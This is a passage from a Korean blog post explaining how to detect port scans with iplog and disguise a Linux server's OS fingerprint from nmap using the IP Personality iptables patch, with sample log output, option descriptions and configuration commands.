    Oct 29 23:37:09 TCP: port 2044 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 737 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: pop2 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 872 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: port 670 connection attempt from truefeel (127.0.0.1):49574
    Oct 29 23:37:09 TCP: SYN scan detected [ports 5901,516,657,32,2044,737,109,872,670,374,...] from
    truefeel (127.0.0.1) [port 49574]
    Oct 29 23:37:12 TCP: Bogus TCP flags set by truefeel (127.0.0.1):49581 (dest port 25)
    Oct 29 23:37:14 TCP: ipp connection attempt from truefeel (127.0.0.1):40509
    ... 생략 ...
    --------------------------------------------------------------

    3) 옵션과 설정은?

    -o : 백그라운드로 실행하지 않는다. (기본 백그라운드)
    -z : 이게 바로 핵심이다. nmap로 OS 정보 알아내는 것을 막는다.
    -L : log를 화면으로 출력한다.
    -i : interface를 지정한다. (기본 eth0)
    -u : iplog 실행 사용자 또는 UID를 지정한다. (기본 nobody)
    -g : iplog 실행 그룹명 또는 GID를 지정한다. (기본 nobody)
    -l : 로그파일을 지정한다. (기본 /var/log/iplog)
    -a : promisc 모드로 전환하여 지정한 네트워크 내의 스캐닝을 로깅한다. (예. -a 192.168.123.0/24)
    -k : iplog 프로세스를 kill한다. 백그라운드, 포그라운드 실행중인 것과 상관없이 kill.
    -R : iplog를 재실행한다.

    이 많은 옵션을 어떻게 사용하면 좋을까?

    화면으로 모니터링한다면

    # iplog -o -z -L

    파일로 로깅을 한다면 (부팅시 실행되도록 하려면 /etc/rc.d/rc.local 등에 추가)

    # iplog -z

    /etc/iplog.conf 설정 파일에서는 옵션으로 사용할 것을 미리 지정해 둘 수 있다.
    실행 사용자, interface, 감지에서 제외할 포트 등

    2. iptables 이용하는 방법

    iptables를 이용하는 방법이 있으나 커널 패치+iptables 패치를 해야하는 과정이 필요하며
    커널 2.4.19 이후의 버전에 대해서는 더이상의 발표도 있지 않아 간단하게 설명한다.

    http://ippersonality.sourceforge.net/ 에서 ippersonality-20020819-2.4.19.tar.gz 를
    받아 커널과 iptables 각각 패치를 한 후 컴파일을 한다.

    ippersonality-20020819-2.4.19/samples 디렉토리에는 OS를 속이기 위한 총 10개의 파일이 있다.
    AmigaOS, Dreamcast, FreeBSD, Linux 2.0x, Linux 2.2, MacOS 9, Solaris 8, Tru64 UNIX,
    Win Me 또는 Win 2000, Win 9x 이렇게 10개.

    Windows를 사용하는 것 처럼 속이려면 어떻게 해야 하는가?

    패치된 iptables를 이용해서

    --------------------------------------------------------------
    # insmod ipt_PERS (모듈을 로딩, 커널 컴파일시에 CONFIG_IP_NF_PERS=m로 했을 때)
    # /usr/local/sbin/iptables -t mangle -A PREROUTING -s ! 서버IP -d 서버IP -j PERS --tweak dst --local --conf win2k.conf
    # /usr/local/sbin/iptables -t mangle -A OUTPUT   -s 서버IP -d ! 서버IP -j PERS --tweak src --local --conf win2k.conf
    --------------------------------------------------------------

    3. 참고 자료

    * A practical approach for defeating Nmap OS-Fingerprinting
     
    http://coffeenix.net/doc/security/nmap_os_fingerprinting.html
    * IP Personality 프로젝트
     
    http://ippersonality.sourceforge.net/
    * iplog
     
    http://ojnk.sourceforge.net/
    * nmap 3.45의 새기능, 버전 스캐닝 (글 좋은진호)
     
    http://coffeenix.net/board_view.php?bd_code=71
    2006/09/08 22:29 2006/09/08 22:29
    이 글에는 트랙백을 보낼 수 없습니다
    웅쓰:웅자의 상상플러스
    웅자의 상상플러스
    전체 (379)
    게임 (5)
    영화 (2)
    기타 (23)
    맛집 (5)
    영어 (2)
    대수학 (3)
    형태소 (5)
    Hacking (9)
    Linux (112)
    HTML (48)
    Application_developing (48)
    Web_developing (102)
    Window (11)
    «   2006/09   »
              1 2
    3 4 5 6 7 8 9
    10 11 12 13 14 15 16
    17 18 19 20 21 22 23
    24 25 26 27 28 29 30
    1. 2016/01 (1)
    2. 2015/12 (3)
    3. 2015/10 (3)
    4. 2015/03 (2)
    5. 2015/01 (4)